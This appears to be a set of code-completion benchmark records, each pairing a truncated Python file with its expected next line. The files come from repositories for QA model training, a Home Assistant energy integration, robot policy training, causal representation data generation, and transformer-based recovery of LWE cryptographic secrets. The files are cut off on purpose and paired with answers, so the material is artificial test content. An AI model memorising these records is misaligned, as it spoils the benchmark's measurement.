lr=args.learning_rate, eps=args.adam_epsilon) scheduler = get_linear_schedule_with_warmup( optimizer, num_warmup_steps=args.warmup_steps, num_training_steps=t_total ) # Training Step logger.info("***** Running training *****") logger.info(" Num examples = %d", len(features)) logger.info(" Num Epochs = %d", args.num_train_epochs) logger.info(" Train batch size per GPU = %d", args.train_batch_size) logger.info( " Total train batch size (w. parallel, distributed & accumulation) = %d", args.train_batch_size * args.gradient_accumulation_steps) logger.info(" Gradient Accumulation steps = %d", args.gradient_accumulation_steps) logger.info(" Total optimization steps = %d", t_total) global_step = 1 tr_loss, logging_loss = 0.0, 0.0 # loss buffer 초기화 model.zero_grad() set_seed(args) # for name, para in model.named_parameters(): # if 'gru' not in name: # print(name) # para.requires_grad = False for epoch in range(args.num_train_epochs): for step, batch in enumerate(features): model.train() all_input_ids = torch.tensor([feature.input_ids for feature in batch], dtype=torch.long).cuda() all_attention_masks = torch.tensor([feature.attention_mask for feature in batch], dtype=torch.long).cuda() all_token_type_ids = torch.tensor([feature.token_type_ids for feature in batch], dtype=torch.long).cuda() all_sent_masks = torch.tensor([feature.sent_mask for feature in batch], dtype=torch.long).cuda() all_start_positions = torch.tensor([feature.start_position for feature in batch], dtype=torch.long).cuda() all_end_positions = torch.tensor([feature.end_position for feature in batch], dtype=torch.long).cuda() all_question_type = torch.tensor([batch[0].question_type], dtype=torch.long).cuda() if torch.sum(all_start_positions).item() == 0: continue # 모델에 입력할 입력 tensor 저장 inputs = { "input_ids": all_input_ids, "attention_mask": all_attention_masks, "token_type_ids": all_token_type_ids, "sent_masks": all_sent_masks, "start_positions": all_start_positions, "end_positions": all_end_positions, #"question_type": all_question_type } outputs = model(**inputs) loss, sampled_evidence_scores, mask, start_logits, end_logits, sampled_evidence_sentence = outputs predicted_answer = [] evidence_predicted_answer = [] # print("\n".join([str(e) for e in sampled_evidence_sentence.tolist()])) for path in range(num_samples): all_results = [] start_logit = start_logits[:, :, path] end_logit = end_logits[:, :, path] batch_size = start_logits.size(0) for i in range(batch_size): # feature 고유 id로 접근하여 원본 q_id 저장 # 각 feature는 유일한 q_id를 갖고 있지 않음 # ==> context가 긴 경우, context를 분할하여 여러 개의 데이터로 변환하기 때문! eval_feature = batch[i] # 입력 질문에 대한 N개의 결과 저장하기위해 q_id 저장 unique_id = int(eval_feature.unique_id) # outputs = [start_logits, end_logits] output = [to_list(output[i]) for output in [start_logit, end_logit]] # start_logits: [batch_size, max_length] # end_logits: [batch_size, max_length] start, end = output # q_id에 대한 예측 정답 시작/끝 위치 확률 저장
result = SquadResult(unique_id, start, end)
4
2023-10-25 07:03:47+00:00
12k
jmcruvellier/little_monkey
custom_components/little_monkey/coordinator.py
[ { "identifier": "LittleMonkeyApiClient", "path": "custom_components/little_monkey/api.py", "snippet": "class LittleMonkeyApiClient:\n \"\"\"API Client to retrieve cookies.\"\"\"\n\n def __init__(\n self,\n username: str,\n password: str,\n use_hchp: bool,\n use_t...
from datetime import timedelta from homeassistant.util import json from homeassistant.config_entries import ConfigEntry from homeassistant.core import HomeAssistant from homeassistant.helpers.update_coordinator import ( DataUpdateCoordinator, UpdateFailed, ) from homeassistant.exceptions import ConfigEntryAuthFailed from .api import ( LittleMonkeyApiClient, LittleMonkeyApiClientAuthenticationError, LittleMonkeyApiClientError, ) from .const import ( DOMAIN, CONF_LANG, POLL_INTERVAL, LOGGER )
8,819
"""DataUpdateCoordinator for little_monkey.""" from __future__ import annotations # https://developers.home-assistant.io/docs/integration_fetching_data#coordinated-single-api-poll-for-data-for-all-entities class LittleMonkeyDataUpdateCoordinator(DataUpdateCoordinator): """Class to manage fetching data from the Ecojoko APIs.""" config_entry: ConfigEntry def __init__( self, hass: HomeAssistant, entry: ConfigEntry, client: LittleMonkeyApiClient, ) -> None: """Initialize.""" self.hass = hass self.config_entry = entry self.client = client
"""DataUpdateCoordinator for little_monkey.""" from __future__ import annotations # https://developers.home-assistant.io/docs/integration_fetching_data#coordinated-single-api-poll-for-data-for-all-entities class LittleMonkeyDataUpdateCoordinator(DataUpdateCoordinator): """Class to manage fetching data from the Ecojoko APIs.""" config_entry: ConfigEntry def __init__( self, hass: HomeAssistant, entry: ConfigEntry, client: LittleMonkeyApiClient, ) -> None: """Initialize.""" self.hass = hass self.config_entry = entry self.client = client
self._lang = entry.options[CONF_LANG]
4
2023-10-29 21:03:13+00:00
12k
vlc-robot/polarnet
polarnet/train_models.py
[ { "identifier": "PCDKeystepDataset", "path": "polarnet/dataloaders/pcd_keystep_dataset.py", "snippet": "class PCDKeystepDataset(KeystepDataset):\n def __init__(\n self, data_dir, taskvars, instr_embed_file=None, \n gripper_channel=False, camera_ids=None, cameras=..., use_instr_e...
import os import sys import json import argparse import time import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.distributed as dist import warnings from collections import defaultdict from tqdm import tqdm from utils.logger import LOGGER, TB_LOGGER, RunningMeter, add_log_to_file from utils.save import ModelSaver, save_training_meta from utils.misc import NoOp, set_dropout, set_random_seed, set_cuda, wrap_model from utils.distributed import all_gather from optim import get_lr_sched, get_lr_sched_decay_rate from optim.misc import build_optimizer from config.default import get_config from dataloaders.loader import build_dataloader from polarnet.dataloaders.pcd_keystep_dataset import ( PCDKeystepDataset, pcd_stepwise_collate_fn, ProcessedPCDKeystepDataset ) from polarnet.models.pcd_unet import PointCloudUNet from polarnet.utils.slurm_requeue import init_signal_handler
7,276
dataset_factory = { 'pre_pcd_keystep_stepwise': (ProcessedPCDKeystepDataset, pcd_stepwise_collate_fn), 'pcd_keystep_stepwise': (PCDKeystepDataset, pcd_stepwise_collate_fn), } def main(config): config.defrost() default_gpu, n_gpu, device = set_cuda(config) # config.freeze() if default_gpu: LOGGER.info( 'device: {} n_gpu: {}, distributed training: {}'.format( device, n_gpu, bool(config.local_rank != -1) ) ) seed = config.SEED if config.local_rank != -1: seed += config.rank set_random_seed(seed) if type(config.DATASET.taskvars) is str: config.DATASET.taskvars = [config.DATASET.taskvars] # load data training set dataset_class, dataset_collate_fn = dataset_factory[config.DATASET.dataset_class] dataset = dataset_class(**config.DATASET) data_loader, pre_epoch = build_dataloader( dataset, dataset_collate_fn, True, config ) LOGGER.info(f'#num_steps_per_epoch: {len(data_loader)}') if config.num_train_steps is None: config.num_train_steps = len(data_loader) * config.num_epochs else: assert config.num_epochs is None, 'cannot set num_train_steps and num_epochs at the same time.' config.num_epochs = int( np.ceil(config.num_train_steps / len(data_loader))) # setup loggers if default_gpu: save_training_meta(config) TB_LOGGER.create(os.path.join(config.output_dir, 'logs')) model_saver = ModelSaver(os.path.join(config.output_dir, 'ckpts')) add_log_to_file(os.path.join(config.output_dir, 'logs', 'log.txt')) else: LOGGER.disabled = True model_saver = NoOp() # Prepare model model = PointCloudUNet(**config.MODEL) # DDP: SyncBN if int(os.environ['WORLD_SIZE']) > 1: model = nn.SyncBatchNorm.convert_sync_batchnorm(model) LOGGER.info("Model: nweights %d nparams %d" % (model.num_parameters)) LOGGER.info("Model: trainable nweights %d nparams %d" % (model.num_trainable_parameters)) config.freeze() # Load from checkpoint model_checkpoint_file = config.checkpoint optimizer_checkpoint_file = os.path.join( config.output_dir, 'ckpts', 'train_state_latest.pt' ) if os.path.exists(optimizer_checkpoint_file) and config.resume_training: LOGGER.info('Load the optimizer checkpoint from %s' % optimizer_checkpoint_file) optimizer_checkpoint = torch.load( optimizer_checkpoint_file, map_location=lambda storage, loc: storage ) lastest_model_checkpoint_file = os.path.join( config.output_dir, 'ckpts', 'model_step_%d.pt' % optimizer_checkpoint['step'] ) if os.path.exists(lastest_model_checkpoint_file): LOGGER.info('Load the model checkpoint from %s' % lastest_model_checkpoint_file) model_checkpoint_file = lastest_model_checkpoint_file global_step = optimizer_checkpoint['step'] restart_epoch = global_step // len(data_loader) else: optimizer_checkpoint = None # to compute training statistics restart_epoch = config.restart_epoch global_step = restart_epoch * len(data_loader) if model_checkpoint_file is not None: checkpoint = torch.load( model_checkpoint_file, map_location=lambda storage, loc: storage) model.load_state_dict(checkpoint, strict=config.checkpoint_strict_load) model.train() # set_dropout(model, config.dropout) model = wrap_model(model, device, config.local_rank) # Prepare optimizer optimizer, init_lrs = build_optimizer(model, config) if optimizer_checkpoint is not None: optimizer.load_state_dict(optimizer_checkpoint['optimizer']) if default_gpu: pbar = tqdm(initial=global_step, total=config.num_train_steps) else: pbar = NoOp() LOGGER.info(f"***** Running training with {config.world_size} GPUs *****") LOGGER.info(" Batch size = %d", config.train_batch_size if config.local_rank == - 1 else config.train_batch_size * config.world_size) LOGGER.info(" Accumulate steps = %d", config.gradient_accumulation_steps) LOGGER.info(" Num steps = %d", config.num_train_steps) start_time = time.time() # quick hack for amp delay_unscale bug optimizer.zero_grad() optimizer.step()
warnings.filterwarnings("ignore") dataset_factory = { 'pre_pcd_keystep_stepwise': (ProcessedPCDKeystepDataset, pcd_stepwise_collate_fn), 'pcd_keystep_stepwise': (PCDKeystepDataset, pcd_stepwise_collate_fn), } def main(config): config.defrost() default_gpu, n_gpu, device = set_cuda(config) # config.freeze() if default_gpu: LOGGER.info( 'device: {} n_gpu: {}, distributed training: {}'.format( device, n_gpu, bool(config.local_rank != -1) ) ) seed = config.SEED if config.local_rank != -1: seed += config.rank set_random_seed(seed) if type(config.DATASET.taskvars) is str: config.DATASET.taskvars = [config.DATASET.taskvars] # load data training set dataset_class, dataset_collate_fn = dataset_factory[config.DATASET.dataset_class] dataset = dataset_class(**config.DATASET) data_loader, pre_epoch = build_dataloader( dataset, dataset_collate_fn, True, config ) LOGGER.info(f'#num_steps_per_epoch: {len(data_loader)}') if config.num_train_steps is None: config.num_train_steps = len(data_loader) * config.num_epochs else: assert config.num_epochs is None, 'cannot set num_train_steps and num_epochs at the same time.' config.num_epochs = int( np.ceil(config.num_train_steps / len(data_loader))) # setup loggers if default_gpu: save_training_meta(config) TB_LOGGER.create(os.path.join(config.output_dir, 'logs')) model_saver = ModelSaver(os.path.join(config.output_dir, 'ckpts')) add_log_to_file(os.path.join(config.output_dir, 'logs', 'log.txt')) else: LOGGER.disabled = True model_saver = NoOp() # Prepare model model = PointCloudUNet(**config.MODEL) # DDP: SyncBN if int(os.environ['WORLD_SIZE']) > 1: model = nn.SyncBatchNorm.convert_sync_batchnorm(model) LOGGER.info("Model: nweights %d nparams %d" % (model.num_parameters)) LOGGER.info("Model: trainable nweights %d nparams %d" % (model.num_trainable_parameters)) config.freeze() # Load from checkpoint model_checkpoint_file = config.checkpoint optimizer_checkpoint_file = os.path.join( config.output_dir, 'ckpts', 'train_state_latest.pt' ) if os.path.exists(optimizer_checkpoint_file) and config.resume_training: LOGGER.info('Load the optimizer checkpoint from %s' % optimizer_checkpoint_file) optimizer_checkpoint = torch.load( optimizer_checkpoint_file, map_location=lambda storage, loc: storage ) lastest_model_checkpoint_file = os.path.join( config.output_dir, 'ckpts', 'model_step_%d.pt' % optimizer_checkpoint['step'] ) if os.path.exists(lastest_model_checkpoint_file): LOGGER.info('Load the model checkpoint from %s' % lastest_model_checkpoint_file) model_checkpoint_file = lastest_model_checkpoint_file global_step = optimizer_checkpoint['step'] restart_epoch = global_step // len(data_loader) else: optimizer_checkpoint = None # to compute training statistics restart_epoch = config.restart_epoch global_step = restart_epoch * len(data_loader) if model_checkpoint_file is not None: checkpoint = torch.load( model_checkpoint_file, map_location=lambda storage, loc: storage) model.load_state_dict(checkpoint, strict=config.checkpoint_strict_load) model.train() # set_dropout(model, config.dropout) model = wrap_model(model, device, config.local_rank) # Prepare optimizer optimizer, init_lrs = build_optimizer(model, config) if optimizer_checkpoint is not None: optimizer.load_state_dict(optimizer_checkpoint['optimizer']) if default_gpu: pbar = tqdm(initial=global_step, total=config.num_train_steps) else: pbar = NoOp() LOGGER.info(f"***** Running training with {config.world_size} GPUs *****") LOGGER.info(" Batch size = %d", config.train_batch_size if config.local_rank == - 1 else config.train_batch_size * config.world_size) LOGGER.info(" Accumulate steps = %d", config.gradient_accumulation_steps) LOGGER.info(" Num steps = %d", config.num_train_steps) start_time = time.time() # quick hack for amp delay_unscale bug optimizer.zero_grad() optimizer.step()
init_signal_handler()
4
2023-10-29 21:41:09+00:00
12k
akekic/causal-component-analysis
data_generator/multi_env_gdp.py
[ { "identifier": "sample_random_dag", "path": "data_generator/graph_sampler.py", "snippet": "def sample_random_dag(n_nodes: int, edge_prob: float) -> np.ndarray:\n \"\"\"\n Sample a random DAG with n_nodes nodes and edge_prob probability of an edge between two nodes.\n\n We ensure that there is ...
import numpy as np import torch from torch import Tensor from .graph_sampler import sample_random_dag from .mixing_function import LinearMixing, MixingFunction, NonlinearMixing from .noise_generator import GaussianNoise, MultiEnvNoise from .scm import LinearSCM, MultiEnvLatentSCM, LocationScaleSCM
8,548
noise_log_prob_env = self.noise_generator.log_prob(noise_samples_env, env) latent_samples_env = self.latent_scm.push_forward(noise_samples_env, env) log_det_scm = self.latent_scm.log_inverse_jacobian( latent_samples_env, noise_samples_env, env ) intervention_targets_out[:, env, :] = int_targets_env u[:, env, :] = noise_samples_env v[:, env, :] = latent_samples_env e[:, env, :] = env log_prob[:, env, :] = ( log_det_scm + noise_log_prob_env.sum(dim=1) ).unsqueeze(1) flattened_shape = (num_samples_per_env * num_envs, self.latent_scm.latent_dim) intervention_targets_out = intervention_targets_out.reshape(flattened_shape) u = u.reshape(flattened_shape) v = v.reshape(flattened_shape) e = e.reshape(num_samples_per_env * num_envs, 1) log_prob = log_prob.reshape(num_samples_per_env * num_envs, 1) x = self.mixing_function(v) unmixing_jacobian = self.mixing_function.unmixing_jacobian(v) log_det_unmixing_jacobian = torch.slogdet( unmixing_jacobian ).logabsdet.unsqueeze(1) log_prob += log_det_unmixing_jacobian return ( x, v, u, e, intervention_targets_out, log_prob, ) def make_multi_env_dgp( latent_dim: int, observation_dim: int, adjacency_matrix: np.ndarray, intervention_targets_per_env: Tensor, shift_noise: bool = True, noise_shift_type: str = "mean", mixing: str = "nonlinear", scm: str = "linear", n_nonlinearities: int = 1, scm_coeffs_low: float = -1, scm_coeffs_high: float = 1, coeffs_min_abs_value: float = None, edge_prob: float = None, snr: float = 1.0, ) -> MultiEnvDGP: """ Create a multi-environment data generating process (DGP). Parameters ---------- latent_dim: int Dimension of the latent variables. observation_dim: int Dimension of the observed variables. adjacency_matrix: np.ndarray, shape (latent_dim, latent_dim) Adjacency matrix of the latent SCM. intervention_targets_per_env: Tensor, shape (num_envs, latent_dim) Intervention targets per environment, with 1 indicating that the variable is intervened on and 0 indicating that the variable is not intervened on. This variable also implicitly defines the number of environments. shift_noise: bool Whether to shift the noise distribution for variables that are intervened on. Default: False. noise_shift_type: str Whether to shift the mean or standard deviation of the noise distribution for variables that are intervened on. Options: "mean" or "std". Default: "mean". mixing: str Mixing function. Options: "linear" or "nonlinear". Default: "nonlinear". scm: str Latent SCM. Options: "linear" or "location-scale". Default: "linear". n_nonlinearities: int Number of nonlinearities in the nonlinear mixing function. Default: 1. scm_coeffs_low: float Lower bound of the SCM coefficients in linear SCMs. Default: -1. scm_coeffs_high: float Upper bound of the SCM coefficients in linear SCMs. Default: 1. coeffs_min_abs_value: float Minimum absolute value of the SCM coefficients in linear SCMs. If None, no minimum absolute value is enforced. Default: None. edge_prob: float Probability of an edge in the adjacency matrix if no adjacency matrix is given. Default: None. snr: float Signal-to-noise ratio of the location-scale SCM. Default: 1.0. Returns ------- medgp: MultiEnvDGP Multi-environment data generating process. """ if mixing == "linear": mixing_function = LinearMixing( latent_dim=latent_dim, observation_dim=observation_dim ) elif mixing == "nonlinear": mixing_function = NonlinearMixing( latent_dim=latent_dim, observation_dim=observation_dim, n_nonlinearities=n_nonlinearities, ) else: raise ValueError(f"Unknown mixing function {mixing}") # if adjacency_matrix is not given as numpy array, sample a random one if not isinstance(adjacency_matrix, np.ndarray): assert ( edge_prob is not None ), "edge_prob must be given if no adjacency_matrix is given" adjacency_matrix = sample_random_dag(latent_dim, edge_prob) adjacency_matrix = adjacency_matrix if scm == "linear":
class MultiEnvDGP: """ Multi-environment data generating process (DGP). The DGP is defined by a latent structural causal model (SCM), a noise generator and a mixing function. This class is used to generate data from those three components. The latent SCM is a multi-environment SCM, i.e. it generates data for multiple environments which differ by interventions on some of the variables. The noise generator is also multi-environmental, i.e. it generates noise for multiple environments. The mixing function is a function that maps the latent variables to the observed variables. The mixing function is the same for all environments. Attributes ---------- mixing_function: MixingFunction Mixing function. latent_scm: MultiEnvLatentSCM Multi-environment latent SCM. noise_generator: MultiEnvNoise Multi-environment noise generator. Methods ------- sample(num_samples_per_env, intervention_targets_per_env) -> tuple[Tensor, ...] Sample from the DGP. """ def __init__( self, mixing_function: MixingFunction, latent_scm: MultiEnvLatentSCM, noise_generator: MultiEnvNoise, ) -> None: self.mixing_function = mixing_function self.latent_scm = latent_scm self.noise_generator = noise_generator self.adjacency_matrix = self.latent_scm.adjacency_matrix def sample( self, num_samples_per_env: int, intervention_targets_per_env: Tensor, ) -> tuple[Tensor, ...]: """ Sample from the DGP. Parameters ---------- num_samples_per_env: int Number of samples to generate per environment. intervention_targets_per_env: Tensor, shape (num_envs, num_causal_variables) Intervention targets per environment, with 1 indicating that the variable is intervened on and 0 indicating that the variable is not intervened on. This variable also implicitly defines the number of environments. Returns ------- x: Tensor, shape (num_samples_per_env * num_envs, observation_dim) Samples of observed variables. v: Tensor, shape (num_samples_per_env * num_envs, latent_dim) Samples of latent variables. u: Tensor, shape (num_samples_per_env * num_envs, latent_dim) Samples of exogenous noise variables. e: Tensor, shape (num_samples_per_env * num_envs, 1) Environment indicator. intervention_targets: Tensor, shape (num_samples_per_env * num_envs, latent_dim) Intervention targets. log_prob: Tensor, shape (num_samples_per_env * num_envs, 1) Ground-truth log probability of the samples. """ num_envs = intervention_targets_per_env.shape[0] shape = ( num_samples_per_env, num_envs, self.latent_scm.latent_dim, ) u = torch.zeros(shape) v = torch.zeros(shape) intervention_targets_out = torch.zeros(shape) e = torch.zeros((num_samples_per_env, num_envs, 1), dtype=torch.long) log_prob = torch.zeros((num_samples_per_env, num_envs, 1)) for env in range(num_envs): int_targets_env = intervention_targets_per_env[env, :] noise_samples_env = self.noise_generator.sample( env, size=num_samples_per_env ) noise_log_prob_env = self.noise_generator.log_prob(noise_samples_env, env) latent_samples_env = self.latent_scm.push_forward(noise_samples_env, env) log_det_scm = self.latent_scm.log_inverse_jacobian( latent_samples_env, noise_samples_env, env ) intervention_targets_out[:, env, :] = int_targets_env u[:, env, :] = noise_samples_env v[:, env, :] = latent_samples_env e[:, env, :] = env log_prob[:, env, :] = ( log_det_scm + noise_log_prob_env.sum(dim=1) ).unsqueeze(1) flattened_shape = (num_samples_per_env * num_envs, self.latent_scm.latent_dim) intervention_targets_out = intervention_targets_out.reshape(flattened_shape) u = u.reshape(flattened_shape) v = v.reshape(flattened_shape) e = e.reshape(num_samples_per_env * num_envs, 1) log_prob = log_prob.reshape(num_samples_per_env * num_envs, 1) x = self.mixing_function(v) unmixing_jacobian = self.mixing_function.unmixing_jacobian(v) log_det_unmixing_jacobian = torch.slogdet( unmixing_jacobian ).logabsdet.unsqueeze(1) log_prob += log_det_unmixing_jacobian return ( x, v, u, e, intervention_targets_out, log_prob, ) def make_multi_env_dgp( latent_dim: int, observation_dim: int, adjacency_matrix: np.ndarray, intervention_targets_per_env: Tensor, shift_noise: bool = True, noise_shift_type: str = "mean", mixing: str = "nonlinear", scm: str = "linear", n_nonlinearities: int = 1, scm_coeffs_low: float = -1, scm_coeffs_high: float = 1, coeffs_min_abs_value: float = None, edge_prob: float = None, snr: float = 1.0, ) -> MultiEnvDGP: """ Create a multi-environment data generating process (DGP). Parameters ---------- latent_dim: int Dimension of the latent variables. observation_dim: int Dimension of the observed variables. adjacency_matrix: np.ndarray, shape (latent_dim, latent_dim) Adjacency matrix of the latent SCM. intervention_targets_per_env: Tensor, shape (num_envs, latent_dim) Intervention targets per environment, with 1 indicating that the variable is intervened on and 0 indicating that the variable is not intervened on. This variable also implicitly defines the number of environments. shift_noise: bool Whether to shift the noise distribution for variables that are intervened on. Default: False. noise_shift_type: str Whether to shift the mean or standard deviation of the noise distribution for variables that are intervened on. Options: "mean" or "std". Default: "mean". mixing: str Mixing function. Options: "linear" or "nonlinear". Default: "nonlinear". scm: str Latent SCM. Options: "linear" or "location-scale". Default: "linear". n_nonlinearities: int Number of nonlinearities in the nonlinear mixing function. Default: 1. scm_coeffs_low: float Lower bound of the SCM coefficients in linear SCMs. Default: -1. scm_coeffs_high: float Upper bound of the SCM coefficients in linear SCMs. Default: 1. coeffs_min_abs_value: float Minimum absolute value of the SCM coefficients in linear SCMs. If None, no minimum absolute value is enforced. Default: None. edge_prob: float Probability of an edge in the adjacency matrix if no adjacency matrix is given. Default: None. snr: float Signal-to-noise ratio of the location-scale SCM. Default: 1.0. Returns ------- medgp: MultiEnvDGP Multi-environment data generating process. """ if mixing == "linear": mixing_function = LinearMixing( latent_dim=latent_dim, observation_dim=observation_dim ) elif mixing == "nonlinear": mixing_function = NonlinearMixing( latent_dim=latent_dim, observation_dim=observation_dim, n_nonlinearities=n_nonlinearities, ) else: raise ValueError(f"Unknown mixing function {mixing}") # if adjacency_matrix is not given as numpy array, sample a random one if not isinstance(adjacency_matrix, np.ndarray): assert ( edge_prob is not None ), "edge_prob must be given if no adjacency_matrix is given" adjacency_matrix = sample_random_dag(latent_dim, edge_prob) adjacency_matrix = adjacency_matrix if scm == "linear":
latent_scm = LinearSCM(
6
2023-10-25 09:25:26+00:00
12k
facebookresearch/verde
src/train/evaluator.py
[ { "identifier": "TransformerModel", "path": "src/train/model/transformer.py", "snippet": "class TransformerModel(nn.Module):\n\n STORE_OUTPUTS = False\n\n def __init__(self, params, id2word, is_encoder, with_output):\n \"\"\"\n Transformer model (encoder or decoder).\n \"\"\"\...
import ast import os import time import pickle import numpy as np import torch from collections import OrderedDict from logging import getLogger from scipy import stats from src.train.model import TransformerModel from src.utils import to_cuda
7,830
self.secret_check.match_secret_iter(indices, idx_w_scores, f'{combo_name} - {name}') ######################################################## # CODE TO RUN DIRECT SECRET RECOVERY AND DISTINGUISHER # ######################################################## def run_beam_generation(self, x1_, len1_, encoder, decoder): # Run beam generation to get output. encoded = encoder("fwd", x=x1_, lengths=len1_, causal=False) _, _, generations= decoder.generate_beam(encoded.transpose(0, 1), len1_, beam_size=self.params.beam_size, length_penalty=self.params.beam_length_penalty, early_stopping=self.params.beam_early_stopping, max_len=self.params.max_output_len) beam_log = [] for i in range(len(generations)): sorted_hyp = sorted(generations[i].hyp, key=lambda x: x[0], reverse=True) if len(sorted_hyp) == 0: beam_log.append(0) else: _, hyp = sorted_hyp[0] output = [self.trainer.env.id2word[wid] for wid in hyp[1:].tolist()] try: beam_log.append(self.env.output_encoder.decode(output)[0]) except Exception as e: beam_log.append(-1) return beam_log def predict_outputs(self, A, encoder, decoder, intermediate=False): ''' if intermediate is False then output integers if intermediate is True then output distributions ''' preds = [] # Encodes data in format expected by model encA = self.env.input_encoder.encode(A) encA = [torch.LongTensor([self.env.word2id[w] for w in seq]) for seq in encA] for k in range(0, len(encA), self.params.batch_size): x = encA[k:k+self.params.batch_size] x1, len1 = self.env.batch_sequences(x) x1_, len1_ = to_cuda(x1, len1) preds.extend(self.run_beam_generation(x1_, len1_, encoder, decoder)) return np.array(preds) def run_direct_recovery(self, encoder, decoder): self.direct_results = np.zeros(self.params.N) invert = np.vectorize(lambda x: 1 - x) logger.info('Starting Direct Method') for K in np.random.randint(self.params.Q//4, 3*self.params.Q//4, 15): logger.info(f'Direct: K={K}') specialA = np.identity(self.params.N, dtype=np.int64) * K pred_final = self.predict_outputs(specialA, encoder, decoder) try: pred_softmax = torch.nn.Softmax(dim=0)(torch.Tensor(pred_final)).detach().cpu().numpy() except: logger.info('Error in softmax prediction, secret decoding failed.') continue # 3 methods of testing for matching: mean, mode, and softmax mean pred_bin1 = np.vectorize(lambda x: 0 if x > np.mean(pred_final) else 1)(pred_final) pred_bin2 = np.vectorize(lambda x: 0 if x != stats.mode(pred_final)[0][0] else 1)(pred_final) pred_bin3 = np.vectorize(lambda x: 0 if x > np.mean(pred_softmax) else 1)(pred_softmax) # Match list for match_vec in [pred_bin1, pred_bin2, pred_bin3]: self.secret_check.match_secret(match_vec, 'Direct') self.secret_check.match_secret(invert(match_vec), 'Direct') self.direct_results += pred_softmax idx_w_scores, indices = self.ordered_idx_from_scores(self.direct_results) self.secret_check.match_secret_iter(indices, idx_w_scores, 'Direct') def run_distinguisher(self, encoder, decoder): self.distinguisher_results = np.zeros(self.params.N) logger.info(f'Starting Distinguisher Method') num_samples = self.params.distinguisher_size # Get the A (bkz reduced) and run through the model. A_s = np.array(self.iterator.dataset.getbatchA(num_samples)) lwe_preds0 = self.predict_outputs(A_s, encoder, decoder, intermediate=True) # Prepare the random values to add to each coordinate of A. # The first half in (0.3q, 0.4q), the second half in (0.6q, 0.7q) add_rand = np.random.randint(3*self.params.Q//10, 2*self.params.Q//5, size=num_samples//2) add_rand = np.concatenate([add_rand, add_rand*-1]) lwe_preds = [] for i in range(self.params.N): # Get the A' and run through the model. A_s[:,i] = (A_s[:,i] + add_rand) % self.params.Q # add a random value to the ith coordinate of A lwe_preds.append(self.predict_outputs(A_s, encoder, decoder, intermediate=True)) A_s[:,i] = (A_s[:,i] - add_rand) % self.params.Q # revert change # Recover secret. Higher earth mover's distance -> bit nonzero. Higher mean abs diff -> bit nonzero. self.secret_check.add_log('distinguisher_orig', lwe_preds0) self.secret_check.add_log('distinguisher_bits', lwe_preds) emd_func = 'emd', stats.wasserstein_distance mean_func = 'mean', lambda x,y: np.mean(abs(x-y)) for func_name, get_diff in [emd_func, mean_func]: logger.info(f"Distinguishing 0s using the {func_name}. ") for i in range(self.params.N): self.distinguisher_results[i] = get_diff(lwe_preds[i], lwe_preds0) if self.params.secret_type == 'ternary': try: self.secret_check.add_log(f'Distinguisher Method {func_name}', self.distinguisher_results) ternary_dist = TernaryDistinguisher(self.secret_check, func_name) ternary_dist.run(lwe_preds, self.distinguisher_results, emd_func) ternary_dist.run(lwe_preds, self.distinguisher_results, mean_func) except Exception as e: logger.info(f'Exception in ternary secret distinguisher: {e}') else: sorted_idx_with_scores, indices = self.ordered_idx_from_scores(self.distinguisher_results) self.secret_check.match_secret_iter(indices, sorted_idx_with_scores, f'Distinguisher Method {func_name}') ############################################ # CODE TO RUN CROSS ATTENTION AND CIRC REG # ############################################ def recover_secret_from_crossattention(self, encoder, decoder, scores): """ Guess the secret from the cross attention matrix """
# Copyright (c) Meta Platforms, Inc. and affiliates. # All rights reserved. # # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. logger = getLogger() class SecretCheck(object): def __init__(self, trainer, dataset): self.trainer = trainer self.params = trainer.params self.orig_A, self.orig_b = dataset.orig_A, dataset.orig_b self.secret_recovery = { 'success': [] } def match_secret(self, guess, method_name): ''' Takes an int or bool (binary) list or array as secret guess and check against the original tiny dataset. ''' guess = np.array(guess).astype(int) if self.params.secret_type in ['gaussian', 'binomial']: # only check if nonzeros are identified for gaussian and binomial secrets matched = np.all((self.params.secret != 0) == (guess != 0)) elif self.orig_A is None: # Old data, original dataset not available. Directly check the secret. matched = np.all(self.params.secret == guess) else: err_pred = (self.orig_A @ guess - self.orig_b) % self.params.Q err_pred[err_pred > self.params.Q // 2] -= self.params.Q matched = np.std(err_pred) < 2*self.params.sigma if matched: logger.info(f'{method_name}: all bits in secret have been recovered!') if method_name not in self.secret_recovery['success']: self.secret_recovery['success'].append(method_name) self.trainer.secret_match = True return True def match_secret_iter(self, idx_list, sorted_idx_with_scores, method_name): ''' Takes a list of indices sorted by scores (descending, high score means more likely to be 1) and iteratively matches the secret. ''' self.secret_recovery[method_name] = sorted_idx_with_scores or idx_list guess = np.zeros(self.params.N) for i in range(min(self.params.N // 5, len(idx_list))): # sparse assumption guess[idx_list[i]] = 1 if self.match_secret(guess, method_name): return True logger.info(f'{method_name}: secret not predicted.') return False def add_log(self, k, v): self.secret_recovery[k] = v def store_results(self, path, epoch): try: pickle.dump(self.secret_recovery, open(os.path.join(path, f'secret_recovery_{epoch}.pkl'), 'wb')) except Exception as e: logger.info(f'secret recovery: {self.secret_recovery}') logger.info(f'Exception when saving secret_recovery details: {e}') class Evaluator(object): def __init__(self, trainer, test_dataloader): """ Initialize evaluator. """ self.trainer = trainer self.iterator = test_dataloader self.modules = trainer.modules self.params = trainer.params self.env = trainer.env self.secret_check = SecretCheck(trainer, test_dataloader.dataset) def run_all_evals(self): """ Run all evaluations. """ scores = OrderedDict({"epoch": self.trainer.epoch}) with torch.no_grad(): encoder = ( self.modules["encoder"].module if self.params.multi_gpu else self.modules["encoder"] ) decoder = ( self.modules["decoder"].module if self.params.multi_gpu and hasattr(self.modules["decoder"], 'module') else self.modules["decoder"] ) encoder.eval() decoder.eval() self.run_distinguisher(encoder, decoder) self.run_direct_recovery(encoder, decoder) self.recover_secret_from_crossattention(encoder, decoder, scores) # cross attention (+ circular regression) self.hybrid() self.secret_check.store_results(self.params.dump_path, self.trainer.epoch) return scores def ordered_idx_from_scores(self, secret_scores): ''' Takes bit-wise scores (length N) and return sorted list<(idx, score)> and sorted list<idx>. ''' idx_with_scores = list(enumerate(secret_scores)) # a list of (idx, score) sorted_idx_by_scores = sorted(idx_with_scores, key=lambda item: item[1], reverse=True) # descending return sorted_idx_by_scores, [t[0] for t in sorted_idx_by_scores] def hybrid(self): ''' Hybrid secret recovery that combines direct secret recovery, distinguisher and CA ''' methods_dict = { 'direct': self.direct_results, 'distinguisher': self.distinguisher_results, 'ca': self.ca_results, } combos = [['direct', 'ca'], ['direct', 'distinguisher'], ['ca', 'distinguisher'], ['direct', 'ca', 'distinguisher']] for combo in combos: logger.info(f'Hybrid: {", 